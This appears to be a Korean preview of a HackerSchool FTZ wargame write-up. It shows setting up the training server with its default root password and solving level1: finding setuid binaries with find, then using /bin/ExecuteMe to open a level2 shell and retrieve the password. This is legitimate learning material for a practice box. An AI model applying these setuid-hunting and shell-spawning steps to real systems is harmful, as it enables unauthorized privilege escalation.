HackerSchool FTZ 상세 풀이 및 분석

소개글

"HackerSchool FTZ level1~20 상세 풀이 및 분석"에 대한 내용입니다.

목차

HackerSchool FTZ level1~20 상세 풀이 및 분석

본문내용

준비 사항

방법 1. PuTTY 설치 > ftz.hackerschool.org 접속

방법 2. FTZ 로컬서버 환경 구축 (방법1로 접속이 안 될 경우 환경구축)
VMplayer 설치 > 레드햇 이미지 설정 가져오기 > FTZ.iso 마운트 > PuTTY로 접속
localhost login: root
password: hackerschool
[root@ftz root]mount /dev/cdrom /mnt/cdrom
[root@ftz root]/bin/sh /mnt/cdrom/AUTO_SCRIPT/auto_script.sh

login as: level1
level1@192.168.80.128's password: level1

[level1@ftz level1]$ ls -al
total 12
-rw-r--r-- 1 root root 47 Apr 4 2000 hint
drwxr-xr-x 2 root level1 4096 Dec 7 2003 public_html
drwxrwxr-x 2 root level1 4096 Jan 16 2009 tmp

hint를 열어보겠습니다.
[level1@ftz level1]$ cat ./hint

setuid를 찾아보겠습니다.
[level1@ftz level1]$ find / -user level2 -perm +4000 -exec ls -al {} \; 2>/dev/null
-rwsr-x--- 1 level2 level1 12868 Aug 1 01:04 /bin/ExecuteMe

바로 실행
[level1@ftz level1]$ /bin/ExecuteMe

level2 권한으로 쉘을 열어버려서 지속적인 level2 권한으로 my-pass라는 명령어를 사용해서 패스워드를 획득합니다.

[level2@ftz level2]$ /bin/sh
sh-2.05b$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)
sh-2.05b$ my-pass

참고 자료

없음